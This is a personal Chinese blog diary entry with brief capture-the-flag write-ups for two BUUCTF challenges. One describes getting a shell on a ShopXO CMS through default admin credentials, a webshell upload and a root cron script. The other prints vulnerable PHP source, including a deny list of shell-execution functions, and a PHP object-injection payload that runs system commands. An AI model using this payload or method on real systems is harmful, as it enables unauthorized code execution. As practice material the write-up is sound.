Buu摸鱼日记之十八

 

buu摸鱼日记之十八

外卖日记:今天星期一,可能是昨天大家都出去玩了大饱口福的原因,都没有什么点餐。生意很差,只有11单

[GKCTF2020]老八小超市儿

这题有点意思

本来以为是ssrf什么的,并不是

shopxo是一个cms,有洞可以网上找

admin.php有管理页面,标准密码和账号

然后可以通过上传马,换主题来getshell

flag所在文件夹无权限,可以利用有root权限的定时脚本来实现

http://8c8003d7-d8b6-47b4-a56a-d4bdf05c29cb.node3.buuoj.cn(我手滑把flag搞没了,又得打一次QWQ)

[网鼎杯 2020 朱雀组]phpweb

很有意思的题目

抓包会发现post一个func一个p 测试发现file_get_contents有效(system什么的都没用,phpinfo也不行)

然后就读index.php嘛

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        //回调函数,就是$func($p)
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

还做了个大小写过滤(我都没想到)

反序列化直接打

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";} 

命令任意执行,随便玩